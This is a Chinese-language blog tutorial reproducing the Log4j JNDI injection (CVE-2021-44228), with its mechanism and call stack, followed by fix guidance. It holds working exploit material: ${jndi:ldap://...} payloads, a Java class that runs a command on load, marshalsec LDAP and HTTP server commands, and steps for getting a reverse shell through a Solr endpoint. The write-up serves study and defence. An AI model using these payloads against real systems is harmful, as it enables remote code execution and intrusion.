2021.12.09,阿里云安全团队向apache报告了由log4j日志引起的远程代码执行。当时微博、朋友圈都在狂刷这个漏洞的新闻,它被定义为核弹级漏洞,但是利用方式很简单。最近正在学习RMI、LDAP、JNDI,所以就来复现一下。
1. 介绍
Apache Log4j 是 Apache 的一个开源项目,Apache Log4j2是一个基于Java的日志记录工具。该工具重写了Log4j框架,并且引入了大量丰富的特性。我们可以控制日志信息输送的目的地为控制台、文件、GUI组件等,通过定义每一条日志信息的级别,能够更加细致地控制日志的生成过程。该日志框架被大量用于业务系统开发,用来记录日志信息。
其中中存在JNDI注入漏洞,攻击者在可以控制日志内容的情况下,通过传入类似于${jndi:ldap://evil.com/example}的lookup用于进行JNDI注入,执行任意代码。
Versions Affected:
从 2.0-beta9 到 2.14.1 的所有版本
这个版本只针对CVE-2021-44228,高版本也有漏洞
2. 前置知识
RMI、LDAP、JDNDI
(如果只相对于这个漏洞来说,单纯的利用的话,其实大概知道他们是干什么的就行)
3. 漏洞原理
Lookup插件在Log4j2的使用场景上是为了获取配置而使用的,如Log4j2框架中所包含的JavaLookup插件,表示当你要在Log4j2框架中获取Java的配置信息时,则会调度执行该JavaLookup来返回对应的Java配置信息,比如:logger.error代码中直接填写:${java.version} 则最终会返回对应的Java版本信息.
触发Lookup插件的场景是使用:${}
,如上述的${java:version}
表示使用JavaLookup插件,传入值为version然后返回对应的结果。
出现重大漏洞问题的则是一个相对不太常用的插件,名叫:JndiLookup
${jndi:ldap://ip:port}
表示调用JndiLookup传入值为 ldap://ip:port
。再详细的可以看看JNDI的内容。
具体处理逻辑:
首先会在replace函数中提取${}
内的lookup参数。会匹配${
和}
进行提取。
然后会以:为分隔符进行分割以获取prefix内容,根据prefix从map中取出xxxLookup类,如JndiLookup
之后又通过jndiManager类进行调用,成功执行到javax/naming/InitialContext.java 原生lookup解析函数
调用栈如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
| lookup:417, InitialContext (javax.naming) lookup:172, JndiManager (org.apache.logging.log4j.core.net) lookup:56, JndiLookup (org.apache.logging.log4j.core.lookup) lookup:221, Interpolator (org.apache.logging.log4j.core.lookup) resolveVariable:1110, StrSubstitutor (org.apache.logging.log4j.core.lookup) substitute:1033, StrSubstitutor (org.apache.logging.log4j.core.lookup) substitute:912, StrSubstitutor (org.apache.logging.log4j.core.lookup) replace:467, StrSubstitutor (org.apache.logging.log4j.core.lookup) format:132, MessagePatternConverter (org.apache.logging.log4j.core.pattern) format:38, PatternFormatter (org.apache.logging.log4j.core.pattern) toSerializable:344, PatternLayout$PatternSerializer (org.apache.logging.log4j.core.layout) toText:244, PatternLayout (org.apache.logging.log4j.core.layout) encode:229, PatternLayout (org.apache.logging.log4j.core.layout) encode:59, PatternLayout (org.apache.logging.log4j.core.layout) directEncodeEvent:197, AbstractOutputStreamAppender (org.apache.logging.log4j.core.appender) tryAppend:190, AbstractOutputStreamAppender (org.apache.logging.log4j.core.appender) append:181, AbstractOutputStreamAppender (org.apache.logging.log4j.core.appender) tryCallAppender:156, AppenderControl (org.apache.logging.log4j.core.config) callAppender0:129, AppenderControl (org.apache.logging.log4j.core.config) callAppenderPreventRecursion:120, AppenderControl (org.apache.logging.log4j.core.config) callAppender:84, AppenderControl (org.apache.logging.log4j.core.config) callAppenders:540, LoggerConfig (org.apache.logging.log4j.core.config) processLogEvent:498, LoggerConfig (org.apache.logging.log4j.core.config) log:481, LoggerConfig (org.apache.logging.log4j.core.config) log:456, LoggerConfig (org.apache.logging.log4j.core.config) log:63, DefaultReliabilityStrategy (org.apache.logging.log4j.core.config) log:161, Logger (org.apache.logging.log4j.core) tryLogMessage:2205, AbstractLogger (org.apache.logging.log4j.spi) logMessageTrackRecursion:2159, AbstractLogger (org.apache.logging.log4j.spi) logMessageSafely:2142, AbstractLogger (org.apache.logging.log4j.spi) logMessage:2017, AbstractLogger (org.apache.logging.log4j.spi) logIfEnabled:1983, AbstractLogger (org.apache.logging.log4j.spi) error:740, AbstractLogger (org.apache.logging.log4j.spi) main:10, log4j (com.alter.JNDI.Log4j)
|
4. 代码版漏洞复现
首先编写一个含有log4j的类
1 2 3 4 5 6 7
| public class log4j { private static final Logger logger = LogManager.getLogger(log4j.class);
public static void main(String[] args) { logger.error( "${jndi:ldap://ip:1389/Exploit}"); } }
|
然后编写一个恶意类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| public class Exploit { public Exploit(){ try{ String[] commands = {"/System/Applications/Calculator.app/Contents/MacOS/Calculator"}; Process pc = Runtime.getRuntime().exec(commands); pc.waitFor(); } catch(Exception e){ e.printStackTrace(); } }
public static void main(String[] argv) { Exploit e = new Exploit(); } }
|
然后将恶意类编译成class文件,传到云服务器上
在云服务器文件目录上开启web服务
1
| python3 -m http.server 8100
|
然后用marshalsec
开启IDAP服务
1
| java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://ip:8100/#Exploit"
|
最后运行包含log4j的类就可以弹出计算器了。
5. vulhub版漏洞复现
使用vulhub复现漏洞,用su18/JNDI打log4j时的过程,踩了很多坑。
漏洞环境
服务器A:开启vulhub,充当受害者
服务器B:远程服务器
服务器C:反弹shell目标服务器
(服务器B和服务器C也可以合成一个服务器)
攻击过程
服务器A开启服务
服务器C监听端口
服务器B配置su18/JNDI的config.properties
文件,写入命令
开启su18/JNDI
按照示例,访问http://ip:8983/solr/admin/cores?action=${jndi:XXX}
,XXX填入改写后的示例
此时服务器B有回显
查看服务器C,反弹shell成功
注意
- 在本机复现时,注意docker和主机的ip地址区别
- 反弹shell时,注意受害端的shell类型
可以使用如下命令查看受害者shell类型
jndi_tool也是一个好工具,但是最开始复现的时候可以使用,写文章的时候就用不了了,不清楚哪里的问题。
6. 修复
这里指介绍针对CVE-2021-44228的修复方案
方案一、升级版本
升级Apache Log4j所有相关应用到>= Log4j-2.15.0官方稳定版本
方案二、临时缓解(选其一)
● 版本>=2.10.0, 修改jvm参数,添加-Dlog4j2.formatMsgNoLookups=true
● 版本>=2.10.0, 代码中配置System.setProperty(“log4j2.formatMsgNoLookups”, “true”),重新打包jar包
● 版本>=2.10.0, 修改配置文件log4j2.component.properties :log4j2.formatMsgNoLookups=True
注意:临时缓解对Log4j <= 2.9版本是无效的,因为在2.10版本之前并没有引入这些变量来控制 lookup()。
Refer
https://github.com/wyzxxz/jndi_tool
https://github.com/su18/JNDI